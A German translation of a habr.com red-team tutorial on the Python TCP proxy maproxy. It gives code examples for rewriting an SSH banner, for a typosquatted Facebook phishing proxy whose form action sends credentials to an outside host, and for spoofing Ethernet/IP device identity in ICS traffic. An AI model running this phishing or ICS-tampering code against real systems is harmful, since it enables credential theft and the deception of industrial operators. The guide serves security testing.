Die Übersetzung des Artikels wurde im Vorfeld des Starts des Kurses vorbereitet .

Zusammenfassung
Verschiedene Arten der Sicherheitsbewertung, von regelmäßigen Penetrationstests und Red-Team-Operationen bis hin zu Hacks von IoT/ICS-Geräten und SCADA, erfordern die Arbeit mit binären Netzwerkprotokollen, das heißt, sie beinhalten im Wesentlichen das Abfangen und Modifizieren von Netzwerkdaten zwischen Client und Ziel. Das Sniffen von Netzwerkverkehr ist keine komplizierte Aufgabe, da wir über Werkzeuge wie Wireshark, Tcpdump oder Scapy verfügen. Die Modifikation hingegen erweist sich als arbeitsintensivere Aufgabe, da wir eine Art Schnittstelle benötigen, um Netzwerkdaten zu lesen, sie zu filtern, in Echtzeit zu ändern und zurück an den Zielhost zu senden. Darüber hinaus wäre es ideal, wenn ein solches Werkzeug automatisch mit mehreren parallelen Verbindungen arbeiten könnte und die Möglichkeit der Anpassung durch Skripte böte.
Eines Tages entdeckte ich ein Werkzeug, das heißt, die Dokumentation machte mir schnell klar, dass maproxy genau das ist, was ich brauche. Es handelt sich um einen recht einfachen, universellen und leicht konfigurierbaren TCP-Proxy. Ich habe dieses Werkzeug an mehreren recht komplexen Anwendungen getestet, einschließlich ICS-Geräten (die viele Pakete generieren), um herauszufinden, ob es mit vielen parallelen Verbindungen arbeiten kann, und das Werkzeug hat sich gut bewährt.
Dieser Artikel wird Sie mit der Verarbeitung von Netzwerkdaten in Echtzeit durch maproxy.
Überblick
Tool maproxy vertraut machen, das auf Tornado basiert – einem beliebten und fortgeschrittenen asynchronen Netzwerk-Framework in Python.
Insgesamt kann es in mehreren Modi arbeiten:
TCP:TCP– unverschlüsselte TCP-Verbindungen;TCP:SSLundSSL:TCP– mit einseitiger Verschlüsselung;SSL:SSL– bidirektionale Verschlüsselung.
Es wird als Bibliothek geliefert. Für einen schnellen Start können Sie die Beispiel-Dateien verwenden, die die grundlegenden :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Fall 1 – einfacher bidirektionaler Proxy
Basierend auf tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Standardmäßig ProxyServer() nimmt zwei Argumente an – die Verbindungsstelle und den Zielport. server.listen() nimmt ein Argument an – den Port zum Hören auf eingehende Verbindungen.
Ausführung des Skripts:
# python tcp2tcp.py Um einen Test durchzuführen, werden wir uns über unser Proxy-Skript, das auf 2222/tcp hört, mit dem lokalen SSH-Server verbinden. und verbindet sich mit dem Standardport 22/tcp SSH-Server:

Die Willkommensnachricht zeigt an, dass unser Beispiel-Skript den Netzwerkverkehr erfolgreich proxiert hat.
Fall 2 – Datenmodifikation
Ein weiteres Demo-Skript logging_proxy.py ist ideal für die Interaktion mit Netzwerkinformationen. Die Kommentare in der Datei beschreiben die Klassenmethoden, die Sie anpassen können, um Ihr Ziel zu erreichen:

Das Interessanteste hier:
on_c2p_done_read– zum Abfangen von Daten auf dem Weg vom Client zum Server;on_p2s_done_read– in die entgegengesetzte Richtung.
Lassen Sie uns versuchen, den SSH-Banner zu ändern, den der Server dem Client zurückgibt:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Führen Sie das Skript aus:

Wie Sie sehen, wurde der Client in die Irre geführt, da der Name des SSH-Servers in „DumnySSH“.

Fall 3 – Einfache Phishing-Webseite
Es gibt unzählige Anwendungsmöglichkeiten für dieses Tool. Diesmal konzentrieren wir uns auf etwas Praktischeres aus dem Bereich der Red Team-Operationen. Lassen Sie uns eine Landing-Page imitieren m.facebook.com und verwenden Sie eine benutzerdefinierte Domain mit absichtlichem Tippfehler, zum Beispiel: m.facebok.com. Für die Demo nehmen wir einfach an, dass die Domain von uns registriert wurde.
Wir werden eine unverschlüsselte Netzwerkverbindung zu unserem Proxy-Opfer und einen SSL-Stream für den Facebook-Server (31.13.81.36). Damit dieses Beispiel funktioniert, müssen wir den HTTP-Host-Header ersetzen und den korrekten Hostnamen einfügen, und außerdem deaktivieren wir die Komprimierung der Antworten, um leichter auf ihren Inhalt zugreifen zu können. Letztendlich ersetzen wir das HTML-Formular, damit die Anmeldeinformationen uns anstelle der Facebook-Server gesendet werden:
[…]
def on_c2p_done_read(self,data):
# Ersetze Host-Header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# Deaktiviere Komprimierung
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[...]
def on_p2s_done_read(self,data):
# Teilweiser Austausch der Antwort
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[...]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]Insgesamt:

Wie Sie sehen, konnten wir die originale Website erfolgreich ersetzen.
Fall 4 – Wir manipulieren Ethernet/IP
Ich habe ziemlich lange mit industriellen Geräten und Software (ICS / SCADA) zu tun gehabt, wie programmierbaren Steuerungen (PLC), Ein- und Ausgangsmodulen, Antrieben, Relais, Ladder-Programmierumgebungen und vielem mehr. Dieser Fall ist für die Leute, die industrielle Dinge mögen. Das Hacken solcher Lösungen bedeutet, aktiv mit Netzwerkprotokollen zu spielen. Im nächsten Beispiel möchte ich zeigen, wie Sie den Netzwerkverkehr von ICS/SCADA modifizieren können.
Dazu benötigen Sie Folgendes:
- Einen Netzwerk-Sniffer, wie Wireshark;
- Ein Ethernet/IP- oder einfach SIP-Gerät, das Sie mit dem Shodan-Dienst finden können;
- Unser Skript basiert auf
maproxy.
Zunächst schauen wir uns an, wie eine typische Identifikationsantwort von CIP (Common Industrial Protocol) aussieht:

Die Geräteeinzelidentifikation erfolgt über das Ethernet/IP-Protokoll, das eine erweiterte Version des Ethernet-Protokolls für industrielle Anwendungen ist; es kapselt Steuerprotokolle wie CIP ein. Wir werden den ausgeschnittenen Identifikationsnamen ändern, der im Screenshot zu sehen ist. „NI-IndComm für Ethernet“ mit unserem Proxy-Skript. Wir könnten das Skript wiederverwenden logging_proxy.py und ähnlich die Klassenmethode modifizieren, on_p2s_done_read, da wir möchten, dass beim Client ein anderer Identifikationsname sichtbar ist.
Code:
[…]
def on_p2s_done_read(self, data):
# Teilweiser Ersatz der Antwort
# Überprüfung, ob wir die Liste der Identitätsnachricht erhalten haben
if data[26:28] == b'x0cx00':
print('Antwort erhalten, ersetzen')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63 + 10:]
super(LoggingSession, self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7", 44818, session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Im Grunde haben wir die Identifikation des Geräts zweimal angefragt, die zweite Antwort ist die Originalantwort, während die erste dynamisch modifiziert wurde.
Und zuletzt
Meiner Meinung nach maproxy ein praktisches und einfaches Werkzeug, das zudem in Python geschrieben ist, weshalb ich denke, dass auch Sie von dessen Nutzung profitieren können. Natürlich gibt es auch komplexere Werkzeuge zur Verarbeitung und Änderung von Netzwerkdaten, die jedoch mehr Aufmerksamkeit erfordern und in der Regel für spezifische Nutzungsszenarien entwickelt werden, wie zum Beispiel , oder für Szenarien wie das dritte, oder für das letzte Szenario. So oder so, mit Hilfe von maproxy werden Sie Ihre Ideen zum Abfangen von Netzwerkdaten schnell umsetzen können, da die Skriptbeispiele sehr anschaulich sind.
Quelle: habr.com
